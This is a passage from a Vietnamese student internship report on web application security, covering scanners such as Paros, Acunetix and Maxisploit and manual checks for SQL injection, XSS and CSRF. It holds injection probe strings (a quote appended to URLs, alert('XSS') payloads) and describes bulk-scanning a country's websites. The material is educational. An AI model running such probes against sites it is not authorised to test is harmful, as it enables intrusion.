Công cụ và phương pháp phát hiện lỗ hổng bảo mật web application

MỤC LỤC
CHƯƠNG I – GIỚI THIỆU VỀ DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP
1. Giới thiệu về doanh nghiệp
2. Công việc thực tập
2.1 Bộ phận thực tập và công việc thực tập
2.2 Thời gian thực tập, cán bộ phụ trách
CHƯƠNG II – NỘI DUNG THỰC TẬP
1. Tình hình an ninh mạng hiện nay
2. Khái niệm, cấu trúc và cách hoạt động của Web Application
2.1 Khái niệm về Web Application
2.2 Cấu trúc và cách hoạt động của Web Application
3. Giới thiệu các Web Application được tạo bởi WORDPRESS, JOOMLA,
vBulletin……………………………………………………………………………
3.1 WordPress……………………………………………………………………
3.2 Joomla………………………………………………………………………….
3.3 vBulletin……………………………………………………………………….
4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application
4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application
4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application
4.2.1 Paros Proxy
4.2.2 Acunetix Web Vulnerability Scanner
4.2.3 Maxisploit Scanner
5. Một số lỗ hổng bảo mật Web Application
5.1 Lỗi SQL Injection
5.1.1 Khái niệm
5.1.2 Các dạng tấn công
5.1.3 Cách thức và phương pháp tấn công
5.1.4 Cách phòng chống và bảo mật
4.2 Lỗi Cross Site Scripting (XSS)
5.2.1 Khái niệm

5.2.2 Các dạng tấn công
5.2.3 Cách thức và phương pháp tấn công
5.2.4 Cách phòng chống và bảo mật
5.3 Lỗi Cross-site Request Forgery (CSRF)
5.3.1 Khái niệm
5.3.2 Các dạng tấn công
5.3.3 Cách thức và phương pháp tấn công
5.3.4 Cách phòng chống và bảo mật
5.4 Một số lỗ hổng Web Application khác nổi bật hiện nay
5.4.1 Lỗi Heartbleed
5.4.2 Khai thác qua Phishing
6. Một số Tool Khai thác lỗ hổng bảo mật Web Application
6.1 Havij
6.1.1 Giới thiệu
6.1.2 Đặc điểm
6.1.3 Cách hoạt động
6.2 Sqlmap
5.2.1 Giới thiệu
5.2.2 Đặc điểm
5.2.3 Cách hoạt động
7. Nguy hiểm và mối đe dọa từ các lỗ hổng bảo mật
7.1 Từ lỗi SQL Injection
7.2 Từ lỗi Cross Site Scripting (XSS)
7.3 Từ lỗi Cross-site Request Forgery (CSRF)
CHƯƠNG III – KẾT QUẢ THỰC TẬP
1. Khảo sát danh sách một số Web Application có lỗi bảo mật
2. Khai thác và tấn công một số Web Application có lỗi bảo mật
3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể
CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT
1. Đối với Sinh viên thực tập

2. Đối với Doanh nghiệp thực tập
3. Đối với Nhà trường
CHƯƠNG V – TÀI LIỆU THAM KHẢO
DANH SÁCH HÌNH VẼ
Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Hình 3: Công nghệ Web 2.0
Hình 4: Một Web Application
Hình 5: Thành phần của một Web Application
Hình 6: Cách thức hoạt động của một Web Application
Hình 7: Cách thức hoạt động của một Web Application
Hình 8: Giao diện chương trình của Paros Proxy
Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy
Hình 10: Giao diện của Acunetix Web Vulnerability Scanner
Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner
Hình 12. Giao diện làm việc Maxisploit Scanner
Hình 13. Kết quả Scan Website của Maxisploit Scanner
Hình 14. Phương pháp luận của tấn công SQL Injection
Hình 15. Các dạng tấn công SQL Injection
Hình 16. Các cách phát hiện tấn công SQl Injection
Hình 17. Cách phòng chồng tấn công SQL Injection
Hình 18. Cách phòng chồng tấn công SQL Injection
Hình 19. Quy trình tấn công XSS đơn giản
Hình 20. Ví dụ tấn công XSS thông qua Email
Hình 21. Ví dụ tấn công XSS bằng ăn cắp Cookies
Hình 22 . Quy trình của tấn công XSS
Hình 23. Quy trình tấn công CSRF
Hình 24. Cách thức tấn công chung của tấn công CSRF
Hình 25. Cách thức tấn công chung của tấn công CSRF
Hình 26. Mô hình tấn công CSRF theo phương thức POST

Hình 27. Giao diện làm việc của Havij
Hình 28: Giao diện làm việc của Sqlmap
Hình 29. Thống kê mối nguy hiểm từ tấn công SQL Injection theo EC – Council
Hình 30. Các site bị lỗi SQL injection được quét bằng Maxisploit
CHƯƠNG I – GIỚI THIỆU DOANH NGHIỆP VÀ CÔNG VIỆC THỰC TẬP
1. Giới thiệu về doanh nghiệp
Trung Tâm Đào Tạo Quản Trị Mạng & An Ninh Mạng Quốc Tế ATHENA được
thành lập từ năm 2004, là một tổ chức qui tụ nhiều trí thức trẻ Việt Nam đầy năng
động, nhiệt huyết và kinh nghiệm trong lãnh vực CNTT, với tâm huyết góp phần vào
công cuộc thúc đẩy tiến trình đưa công nghệ thông tin là ngành kinh tế mũi nhọn,
góp phần phát triển nước nhà
Hình 1: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
Lĩnh vực hoạt động chính:
Trung tâm ATHENA đã và đang tập trung chủ yếu vào đào tạo chuyên sâu
quản trị mạng, an ninh mạng, thương mại điện tử theo các tiêu chuẩn quốc tế của các
hãng nổi tiếng như Microsoft, Cisco, Oracle, Linux LPI , CEH, Song song đó,
trung tâm ATHENA còn có những chương trình đào tạo cao cấp dành riêng theo
đơn đặt hàng của các đơn vị như Bộ Quốc Phòng, Bộ Công An , Ngân hàng, Doanh
nghiệp, các cơ quan Chính phủ, tổ chức Tài chính và nhiều học viên tốt nghiệp tại
trung tâm đã là chuyên gia đảm nhận nhiều vị trí tại các cơ quan trên.
Ngoài chương trình đào tạo, Trung tâm ATHENA còn có nhiều chương trình hợp
tác và trao đổi công nghệ với nhiều đại học lớn như Đại học Bách Khoa Thành Phố
Hồ CHính Minh, Đại học An Ninh Nhân Dân, Học viện Công nghệ Bưu chính Viễn
thông, Hiệp hội an toàn thông tin (VNISA), ĐH Công nghệ Thông tin, Hội Tin học
Tp Hồ Chí Minh (HCA), v v…
Đội ngũ giảng viên, nhân viên:
Tất cả các giảng viên trung tâm ATHENA có đều tốt nghiệp từ các trường đại
học hàng đầu trong nước Tất cả giảng viên ATHENA đều phải có các chứng chỉ
quốc tế như MCSA, MCSE, CCNA, CCNP, Security+, CEH,có bằng sư phạm Quốc
tế (Microsoft Certified Trainer).Đây là các chứng chỉ chuyên môn bắt buộc để đủ

điều kiện tham gia giảng dạy tại trung tâm ATHENA. Bên cạnh đó,Các giảng viên
ATHENA thường đi tu nghiệp và cập nhật kiến thức công nghệ mới từ các nước tiên
tiến như Mỹ , Pháp, Hà Lan, Singapore, và truyền đạt các công nghệ mới này trong
các chương trình đào tạo tại trung tâm ATHENA
Hình 2: Trung tâm Đào tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA
2. Công việc thực tập
2.1 Bộ phận thực tập và công việc thực tập
- Bộ phận thực tập: Nghiên cứu tại bộ phận Công nghệ thông tin của Trung tâm
- Công việc thực tập: Áp dụng các kiến thức đã học ở trường và tài liệu bên
ngoài để tìm hiểu về các lỗ hổng bảo mật Web Application, công cụ tấn công,
cách thức tấn công và bảo mật Web Application, cụ thể tìm hiểu cách hoạt
động của một Web Application, các công cụ và phương pháp phát hiện Web
Application bị lỗi bảo mật, các lỗi bảo mật Web Application thường gặp hiện
nay, cách thức hoạt động hay tấn công của lỗi bảo mật đó, từ ấy áp dụng vào
một số Web Application hiện tại khảo sát được và đưa ra giải pháp phòng
chống.
2.2 Thời gian thực tập và cán bộ hướng dẫn
- Thời gian thực tập: từ 04/03/2014 đến /05/2014
- Cán bộ phụ trách: Anh Trần Lâm Mẫn – nhân viên giảng dạy Trung tâm đào
tạo Quản trị mạng & An ninh mạng Quốc tế ATHENA, Thầy Võ Đỗ Thắng
– Giám đốc Trung tâm đào tạo Quản trị mạng & An ninh mạng Quốc tế
ATHENA
CHƯƠNG II – NỘI DUNG THỰC TẬP
1. Tình hình an ninh mạng hiện nay
Chỉ tính từ đầu năm 2012 đến tháng 3/2013, trung bình mỗi ngày có tới 6 website
tại Việt Nam bị tấn công, tương ứng với hơn 2.000 website bị tấn công mỗi năm.
Trên 70% các trang web có lỗ hổng có thể dẫn đến các hành vi trộm cắp dữ liệu và
phá hoại của các công ty, tổ chức, cá nhân như: Thông tin thẻ tín dụng hay danh sách
khách hàng, đánh cắp bí mật thương mại, lừa đảo, phát tán, thay đổi nội dung, chiếm
quyền điều khiển, phá hoại hoạt động,…v v

Khả năng có thể truy cập 24/7 từ bất cứ nơi nào trên thế giới hay các ứng dụng
web không an toàn thường cung cấp truy cập dễ dàng đến cơ sở dữ liệu là một sơ hở
lớn cho phép tin tặc có thể thực hiện các hoạt động bất hợp pháp bằng cách sử dụng
các trang web đã tấn công. Hầu hết nguyên nhân của các vụ tấn công này là do
website tồn tại nhiều lỗ hổng bảo mật.
Một điều đáng lo ngại nữa là đối với các cá nhân, tổ chức và doanh nghiệp,
CNTT nói chung và các ứng dụng web nói riêng đang trở thành một trong các nhân
tố, công cụ đắc lực hỗ trợ tăng hiệu suất làm việc và lợi nhuận, hiểu quả kinh tế cao
cho họ, nhưng sự quan tâm, và chi phí bỏ ra cho lĩnh vực bảo trì, bảo mật lại không
đáng kể. Đồng thời các mói nguy hiểm đe dọa ngày càng mới và phát triển phức tạp
hơn, khả năng tấn công và khai thác của các kẻ xấu đã tăng lên rõ rệt, các mã độc,
phần mềm độc hại, virut trở nên khó phát hiện và tiêu diệt hơn.
Vì vậy vấn đề an ninh mạng nói chung và bảo mật Web Application nói riêng
đang là một vấn đề quan trọng và cấp bách cần phải được nghiên cứu, tìm hiểu và
đưa ra các giải pháp và kỹ thuật mới để phòng tránh, đồng thời cá nhân, tổ chức và
doanh nghiệp cũng cần dành nhiều thời gian, kinh phí, nhân lực kỹ thuật để đảm bảo
cho hệ thống mạng cũng như Web Application của mình hoạt động tốt, có khả năng
chống chọi và ngăn chặn trước các mối nguy hiểm và các cuộc tấn công.
2. Khái niệm, cấu trúc và cách hoạt động của Web Application
2.1 Khái niệm về Web Application
Web Application hay còn gọi là ứng dụng web là một chương trình hay phần
mềm ứng dụng chạy trên nền tảng web, web application thường được cài trên máy
chủ của một Web Server nào đó trên mạng internet, người dùng truy cập internet và
sử dụng ứng dụng này thông qua một trình duyệt web.
Web Application trở nên phổ biến cùng với sự phát triển của các trình duyệt
web, khả năng cập nhật và duy trì hoạt động của ứng dụng web rất dễ dàng mà
không cần phải cài đặt hay phân phối. Những ứng dụng web thường có giao diện,
đẹp, phong phú, giúp người dùng dễ dàng tương tác và sử dụng
Một số ứng dụng web phổ biến hiện nay như: Webmail, bán hàng trực tuyến,
wiki, từ điển, bản đồ, mạng xã hội v…v Xu hướng website tương tác đang phát

triển mạnh với sự ra đời của Web 2.0, 1 thuật ngữ bao gồm nhiều công nghệ đã có,
nhưng có nhiều tính năng tương tác cao, người dùng là trung tâm
Hình 3: Công nghệ Web 2.0
Hình 4: Một Web Application
2.2 Cấu trúc và cách hoạt động của Web Application
Một ứng dụng Web thông thường được cấu trúc như một ứng dụng ba lớp. Ở
dạng phổ biến nhất, một trình duyệt Web là lớp thứ nhất, một bộ máy sử dụng một
vài công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion,
JSP/Java, PHP, Python, hoặc Ruby On Rail) là lớp giữa, và một cơ sở dữ liệu là lớp
thứ ba.
Trình duyệt sẽ gửi yêu cầu đến lớp giữa, lớp giữa sẽ phục vụ bằng cách tạo ra
truy vấn và cập nhật cơ sở dữ liệu và tạo ra giao diện người dùng.
Cụ thể người dung khởi tạo yêu cầu ban đầu bằng trình duyệt thông qua Internet
đến máy chủ ứng dụng web. Ứng dụng web sẽ truy cập vào máy chủ cơ sở dữ liệu để
thực hiện các nhiệm vụ yêu cầu và lấy các thông tin nằm trong cơ sở dữ liệu. Các
ứng dụng web sau đó trình bày các thông tin lấy được cho người sử dụng thông qua
trình duyệt
Hình 5: Thành phần của một Web Application
Hình 6: Cách thức hoạt động của một Web Application
Hình 7: Cách thức hoạt động của một Web Application
3. Giới thiệu các Web Application được tạo bởi WordPress, Joomla, VBB
Ngày nay, việc sở hữu trong tay một trang Blog, Website hay diễn đàn cá nhân
miễn phí trở nên rất dễ dàng bởi sự phát triển nhanh chóng của các mã nguồn mở
cũng như các dịch vụ và công cụ hỗ trợ tạo ra chúng. Mã nguồn mở là một bộ khung,
thư viện được một tổ chức uy tín trên thế giới đứng ra phát triển và chia sẻ cùng với
hàng nghìn lập trình viên rải rác trên thế giới. Người quản trị cần có sự hiểu biết về
các mã nguồn mở để có thể thiết kế, xây dựng, cài đặt và hướng dẫn để vận hành
trang web. Nếu xét đến chi phí để thiết kế, cài đặt và xây dựng một trang bằng mã
nguồn mở thì là khá rẻ nhưng thường là miễn phí với những ai tự làm. Web được
viết bằng mã nguồn mở cũng có nhiều phiên bản, được cập nhật và hỗ trợ khá nhanh

3.1 WordPress
WordPress là một mã nguồn mở và hoàn toàn miễn phí để làm blog, trang web cá
nhân, WordPress được viết bằng ngôn ngữ lập trình PHP và sử dụng MySQL
database. WordPress là một trong những mã nguồn được sử dụng nhiều nhất bởi khả
năng tùy biến cao, dễ sử dụng và sự phổ biến của nó
Đặc tính nổi bật
- Hệ thống Plugin phong phú và cập nhật liên tục, bạn cũng có thể tự viết plugin
- Hỗ trợ nhiều ngôn ngữ
- Được cập nhật, vá lỗi và hỗ trợ liên tục
- Có rất nhiều Theme miễn phí, chuyên nghiệp và SEO rất tốt
- Tích hợp sẵn Latex – công cụ soạn thảo công thức toán học, bạn có thể viết công
thức toán học ngay trong bài viết
- Upload và quản lý hình ảnh một cách dễ dàng, đặc biệt là chức năng tạo
thumbnail
- Có một hệ thống Widget đa dạng ( ứng dụng tạo thêm ) khá đa dạng như thống kê
số người truy cập, danh sách các bài viết mới, các bài viết nổi bật, được xem
nhiều, được comment nhiều, v v
- Hệ thống phân quyền với nhiều cấp độ khác
- Hệ thống quản lý và duyệt Comment rất hay, có thể chặn spam theo IP
- Sao lưu dữ liệu và di chuyển dữ liệu một cách dễ dàng
- Hỗ trợ import đa năng từ các Blog khác như Blogspot, Tumblr, Blogger,
LiveJournal
- WordPress hỗ trợ 3GB để lưu trữ hình ảnh và văn bản
Nhược điểm của WordPress
- Chi phí đầu tư và bảo trì hosting cao
- Cần phải cài đặt, tạo database ban đầu
- Muốn tùy biến WordPress hay chỉnh sửa template cần phải có kỹ năng lập trình
- Sử dụng các theme đẹp và plugin tốt thì phải trả phí
- Quá nhiều hàm có sẵn và các khái niệm khó.
- Bị bộ phận hỗ trợ và quản lý của WordPress can thiệp khi thấy hoạt động của

Website có những thay đổi bất thường.
Hình 8. WordPress
3.2 Joomla
Joomla là hệ thống quản trị nội dung mã nguồn mở, Joomla được viết bằng ngôn
ngữ PHP và kết nối tới cơ sở dữ liệu MySQL, giúp chúng ta xây dựng các trang web
cũng như các ứng dụng trực tuyến khá mạnh mẽ.
Đặc tính nổi bật
- Dễ sử dụng, thân thiện đối với cả những người nghiệp dư và các chuyên gia
- Joomla có một thư viện các ứng dụng (extensions) khổng lồ được lập trình bởi
các lập trình viên khắp nơi, từ những giao diện ở mức đơn giản cho tới phức tạp,
hầu hết là miễn phí, giúp bạn có rất nhiều lựa chọn mở rộng tính năng cho
website của minh
- Dễ dàng tìm và sửa các lỗi gặp phải
- Joomla cung cấp các tài liệu hướng dẫn sử dụng từ cơ bản cho tới nâng cao, tài
liệu API dành cho lập trình viên, phát triển viên được cung cấp đầy đủ
Nhược điểm của Joomla
- Mã nguồn của Joomla tương đối lớn dẫn tới tốn nhiều tài nguyên hệ thống
- Việc có quá nhiều extensions được viết bởi rất nhiều lập trình viên khác nhau dẫn
tới tiềm ần các lỗi bảo mật trong các extensions đó
- Khả năng SEO của Joomla kém nhất trong các loại mã nguồn mở
- Độ tương thích với các loại hosting không cao, không chạy tốt trên máy chủ
Windows ISS
- Số lượng lệnh truy vấn đến SQL Server nhiều
Hình 9. Joomla
3.3 vBulletin
vBulletin là một sản phẩm phần mềm được viết bằng PHP và lấy MySQL làm cơ
sở dữ liệu, vBulletin dùng để xây dựng cộng đồng (forum) trên internet.
Đặc điểm nổi bật
- Giao diện đẹp, tính bảo mật cao, quản lý dễ dàng, nhiều chức năng
- Có khá nhiều các Addon, Skin, Theme và Style khác nhau

- Chức năng cho người quản trị khá đầy đủ và có nhiều lự chọn
- Có thể sử dụng, chỉnh sửa, upload file lên host dễ dàng
- Có thể tải file backup để tạo lại diễn đàn mới
Nhược điểm của vBulletin
- Sự bảo mật và an toàn tùy thuộc vào khả năng, kiến thức, kinh nghiệm, sự cẩn
thận của từng người quản trị
- Là một mã nguồn có thu phí, sẽ bị tịch thu, xử lý nếu dùng lậu
- ACP tuy đầy đủ chuyên nghiệp, nhưng phức tạp
- Tạo skin, theme phức tạp
- Tốc độ truy xuất dữ liệu còn hạn chế, chạy khá nặng với dung lượng dữ liệu lớn
và rất tốn bandwidth
- Tốn phí duy trì domain và host.
Hình 10. vBulletin
4. Công cụ và phương pháp phát hiện lỗ hổng bảo mật Web Application
4.1 Phương pháp thủ công phát hiện lỗ hổng bảo mật Web Application
a. SQL Injection
Có một cách đơn giản để kiểm tra website của bạn có bị lỗi SQL injection hay
không:
Bước 1: Mở trình duyệt và gõ vào địa chỉ website cần kiểm tra.
Bước 2: Tìm một đường dẫn nào đó có dạng:

Sau đó bạn thêm dấu nháy đơn ' hoặc nháy kép " vào đường dẫn trên: http://ten-
website-cua-ban.com/?cid=1&pid=2'
Nếu bạn thấy dòng thông báo tương tự:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL
result resource in
tức là website của bạn đang bị lỗi SQL Injection
b. Cross Site Scripting (XSS)
Một site bất kì bao giờ cũng có 1 hoặc tất cả các phần sau: search results,
error messages, Web-form, chủ yếu lỗi XSS nằm ở các phần này, nói chung là

XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ
nhận được 1 cái gì đó. Cách tìm lỗi để cho rõ ràng thì có thể chia thành 5 bước:
Bước 1: Mở website cần kiểm tra.
Bước 2: Bắt đầu kiểm tra , định vị 1 ô tìm kiếm hoặc 1 login form và gửi thông
tin đi (nhập thông tin và nhấn submit, login hay ok gì đó ).
Bước 3: Xác định khả năng site có bị lỗi XSS hay không bằng cách xem thông
tin trả về: Ví dụ như thế này :
• "Your search for 'XSS' did not find any items"
• "Your search for 'XSS' returned the following results"
• "User 'XSS' is not valid"
• "Invalid login 'XSS" hoặc là cái gì đó mà có dính tới chữ "XSS" mà mình
nhập vào ban đầu thì 99% "Alert" này bị XSS. Chú ý: Các ô input hay các biến
ngay trên thanh address ( var= ) thấy mấy cái này thì cứ nhét dữ liệu vào. Hãy thử
với những script này: hoặc < i*g csstest=java script:alert('XSS')> hoặc có thể là
&{alert('XSS')};
c. Cross-site Request Forgery (CSRF)
Nếu website cho phép thực hiện các chức năng thông qua các request GET
hoặc POST cố định thì có khả năng mắc lỗi CSRF là khá cao, tức là nếu chúng ta
replay lại được request POST hoặc GET trên thì có khả năng là website sẽ mắc
lỗi. CSRF sẽ lừa trình duyệt của người dùng gửi đi các câu lệnh http đến các ứng
dụng Web, một số action gây ra việc thay đổi CSDL như insert, update, delete…
dẫn đến lỗi này nằm ở chỗ các request sẽ insert, delete và update vào cơ sở dữ
liệu. Tại Website các request này có thể tồn tại trong những thẻ <IMG>,
<IFRAME>, trong các textbox hoặc button…
4.2 Công cụ phát hiện lỗ hổng bảo mật Web Application
4.2.1 Paros Proxy
Paros Proxy là một ứng dụng kiểm tra các lỗ hổng bảo mật trên cá ứng dụng
web trên Proxy. Một trang web trên nền Java thường kết hợp dạng proxy điều đó
dẫn tới có nhiều lỗ hổng bảo mật. Phần mềm này hỗ trợ cho phép thay đổi/xem
các gói tin HTTP/HTTPS và thay đổi chúng ở cookies. Bao gồm một tính năng

Web Recorder, web spider, và công cụ Scanner cho phép kiểm tra các ứng dụng
có khả năng bị tấn công như lỗi SQL Injection và Cross-site Scripting. Trước khi
cài đặt Paros Proxy bạn phải cài Java SE Runtime Environment 32 bit vì Paros
Proxy được viết trên nền tảng Java và chỉ chạy được trên JRE 32 bit
Hình 8: Giao diện chương trình của Paros Proxy
Hướng dẫn quét lỗ hổng bảo mật Website bằng Paros Proxy Tools
Bước 1. Mở chương trình vào Analyse -> Scan Policy để chỉnh sửa chính sách
Scan (thêm/bớt nếu muốn)
Bước 2. Tiếp theo vào Tool -> Options -> Local Proxy để chỉnh Local Proxy với
Address là localhost và Port là 8080
Bước 3. Tiếp theo vào máy tính chỉnh Proxy bằng cách vào Control Panel ->
Internet Options -> Connections -> LAN Setting chỉnh Local Proxy với Address
là localhost và Port là 8080
Bước 4. Tiếp theo vào trình duyệt Mozila Firefox để chỉnh Proxy bằng cách vào
Options -> Advanced -> Network -> Setting chỉnh Local Proxy với Address là
127.0.0.1 và Port là 8080
Bước 5. Sau đó tìm 1 Website nghi ngờ bị lỗi sau đó cho chạy trên trình duyệt
Bước 6. Tiếp theo vẫn ở Site đang chọn, nhìn vào khung bên phải có thể xem
được các thông tin của trang Web Server đang Scan như: phương thức
(POST/GET), host, kiểu kết nối, tên miền phiên bản trình duyệt, ngôn ngữ, v.v
Bước 7. Tiếp theo nhìn vào bên trái giao diện chương trình, ở phần Site click vào
Site mình vừa chạy và vào Analyse -> Scan để tiến hành quét
Bước 8. Sau khi thấy có thông báo OK xuất hiện, tức là Scan xong thì vào Report
-> Last Scan Report để xem kết quả
Hình 9: Kết quả Scan Website bị lỗi của Paros Proxy
4.2.2 Acunetix Web Vulnerability Scanner
Acunetix WVS (Web Vulnerability Scanner) là chương trình tự động kiểm tra
các ứng dụng Web để tìm kiếm các lỗ hổng bảo mật như SQL Injection, hay
Cross-Site Scripting,… và tìm kiếm những chính sách đối với mật khẩu đăng
nhập cũng như các phương thức xác thực vào Web Site. Acunetix WVS là một

công cụ quét lỗi cho ứng dụng Web dựa trên một cơ sở dữ liệu rộng lớn được cập
nhật thường xuyên, với các thuật toán Heuristic đáp ứng được các cơ chế họat
động phức tạp của môi trường Web. Acunetix WVS có thể tự động kiểm tra các
lổ hỗng thông dụng và các mối nhạy cảm khác của những web site có thể truy cập
bằng trình duyệt, hay những ứng dụng được xây dụng trên các kỹ thuật tiên tiến
như AJAX để thực hiện được điều này Acunetix WVS dựa trên nhiều phương
pháp và công cụ tích hợp để:
• Crawling (lấy về) toàn bộ website gồm tất cả các liên kết trên site và cả trong
tập tin robots.txt sau đó hiển thị tòan bộ cấu trúc này một cách chi tiết.
• Sau tiến trình cwarling và khám phá tình trạng của ứng dụng web, Acunetix
WVS tự động phát động các đợt tấn công đã được lập trình sẳn dựa trên các lổ
hổng, giống như khi web site bị một hacker tấn công thực sự, phân tích các trang
và những vị trí có thể nhập liệu cùng với các sự kết hợp
khác nhau của dữ liệu đầu vào có thể làm cho website hiển thị những thông tin
nhạy cảm.
• Sau khi tìm ra được các lổ hổng, Acunetix WVS thông báo trên các “Alerts
Node”, mỗi alert gồm các thông tin về lỗi cũng như các mối nguy hiểm có thể
gặp phải và “dĩ nhiên” là kèm theo các khuyến nghị về cách thức khắc phục.
• Sau khi tiến trình kiểm tra hòan tất, chúng ta có thể lưu lại thành một tập tin để
phân tích sau này, với công cụ báo cáo chuyên nghiệp sẽ giúp cho các web
master dễ dàng tổng hợp các kết quả kiểm tra khác nhau trên ứng dụng Web của
mình.
Sau khi quét, Acunetix WVS sẽ liệt kê cấu trúc của site, phiên bản webserver
đang sử dụng, URL không tồn tại, các lỗi phát hiện được cũng như mức độ
Security của site đang quét, nhìn hình các bạn sẽ thấy những liệt kê rất cụ thể.
Mức độ bảo mật của website được AWV đánh giá từ low, medium, high. Nếu
website của bạn được liệt kê ở mức low, hãy nhanh chóng fix lỗi mà AWV liệt kê
Cửa sổ tool Explorer cung cấp cho ta các công cụ WebScanner gồm Tool
(Site Scrawler, Target Finder, Subdomain, Authentication, v v ), Web Service,
Configuration, General chỉ cần nhấp chuột vào công cụ nào đó để AWV thực

hiện nhiệm vụ của mình
Cửa sổ bên phải trên cùng 1 lần nữa liệt kê lại các công cụ
Dưới phần này là phần thao tác nhanh đến các dịch vụ như NewScan, Sample
Scan, Reporter, v v.
Sau khi config chương trình hoàn tất, ta tiến hành quét, AWV sẽ cung cấp cho
bạn phiên bản của Webserver nếu detect được, các ứng dụng Web đang chạy,
cổng mở, cấu trúc site, mức độ Secure, các URL có thể lợi dụng, ngôn ngữ, kiểu
kết nối và thông tin về cách khai thác, và quan trọng là các lỗi đang có.
Hình 10: Giao diện của Acunetix Web Vulnerability Scanner
Hướng dẫn quét lỗ hổng bảo mật Website bằng Acunetix Web
Vulnerability Scanner
Tạo 1 phiên Scan mới bằng cách vào click vào New Scan trên chương trình
Ở phần Scan Single Website gõ vào địa chỉ site cần scan
Tiếp theo click Next xuống tab Option để tùy chỉnh chính sách vá cấu hình Scan
ở phần Scan
Profile và Scan Testing mặc định để Default
Tiếp theo click vào Next để xuống tab Target, ở tùy chỉnh này chúng ta để mặc
định và click Next
Tiếp theo chuyển xuống tab Login phần này có thể để mặc định
Cuối cùng nhấn Finish -> OK và đợi Scan xong xem kết quả.
Hình 11: Kết quả Scan của Acunetix Web Vulnerability Scanner
4.2.3 Maxisploit Scanner
Maxisploit là phần mềm để Scan các lỗi Sql Injection và XSS trong các
website. Nó có thể scan một loạt các website của một nước dựa vào từ khóa mà
chúng ta chọn.
Hình 12. Giao diện làm việc Maxisploit Scanner
Công cụ Maxisploit có bốn mục đích chính, như sau:
• Đối với lỗi SQL Injection nó sẽ quét các trang web dễ bị tổn tương dựa
trên lỗi SQL phổ biển cho nhiều hệ quản trị cơ sở dữ liệu, như: MySQL,
SQL server, Microsoft Access, Các scan khác nhau: nó sẽ quét các trang

web không hiển thị lỗi SQL nhưng dễ bị tổn thương
• Đối với XSS scanner: Nó sẽ mác hóa XSS vector và cố gắng quét kết quả
nhận được từ máy chủ web (web server). Nếu XSS vector được tìm thấy
bên trong mã nguồn thì trang web đó có lỗi. Nó chỉ sử dụng yêu cầu GET
đến web server.
• Admin scanner: Nó sẽ quét tới trang đăng nhập admin, dựa vào dánh sách
mặc định hay bất kì danh sách mà bạn cung cấp. Nếu nhận hồi đáp với mã
200 và 306 thì được xem xét thành công.
• Shared hosting scanner: Nó sẽ gửi yêu câu to sameip.org và sau đó phân
tích mã html cho các trang.
Hình 13. Kết quả Scan của Maxisploit Scanner
5. Một số lỗ hổng bảo mật Web Application
5.1 Lỗi SQL Injection
5.1.1 Khái niệm
Ứng dụng Web cho phép User truy cập Website hợp pháp để up và tải dữ liệu
ra / vào một cơ sở dữ liệu qua Internet bằng cách sử dụng trình duyệt web ưa
thích của họ. Cơ sở dữ liệu là trung tâm lưu trữ dữ liệu cần thiết cho các trang
web để cung cấp nội dung, thông tin cụ thể cho User và là cho thông tin cho
khách hàng, nhà cung cấp, nhân viên và một loạt các bên liên quan.
SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng
của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi
của hệ quản trị cơ sở dữ liệu trảvề để inject (tiêm vào) và thi hành các câu lệnh
SQL bất hợp pháp, Sql Injection có thể cho phép những kẻ tấn công thực hiện các
thao tác, delete, insert, update,… trên cơ sỡ dữ liệu của ứng dụng, thậm chí là
server mà ứng dụng đó đang chạy, lỗi này thường xãy ra trên các ứng dụng web
có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server,
MySQL, Oracle, DB2, Sysbase. Công cụ dùng để tấn công là chỉ cần một trình
duyệt web bất kì, chẳng hạn như Internet Explorer, Mozila Firefox,
Chrome,.v v
Hình 14. Phương pháp luận của tấn công SQL Injection

5.1.2 Các dạng tấn công
Dạng tấn công vượt qua kiểm tra lúc đăng nhập
Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ
vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web.
Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật,
hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin
về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống
sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho
phép hay từ chối thực hiện tiếp. Ví dụ, trong trường hợp sử dụng ASP, người ta
có thể dùng 2 trang : 1 trang HTML để hiển thị Form nhập liệu và 1 trang ASP để
xử lý thông tin nhập vào từ phía người dùng
Dạng tấn công sử dụng câu lệnh Select
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ
thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các trang
tìm kiếm, các trang có textbox. Các trang này cho phép người dùng nhập vào các
thông tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp để tìm kiếm. Tương tự
như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường
tên tác giả bằng chuỗi giá trị, Lúc này, ngoài câu truy vấn đầu không thành công,
chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Câu truy
vấn này sẽ thực hiện việc mà hacker mong muốn trong câu lệnh của họ.
Dạng tấn công sử dụng câu lệnh Insert
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để
tham gia. Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng
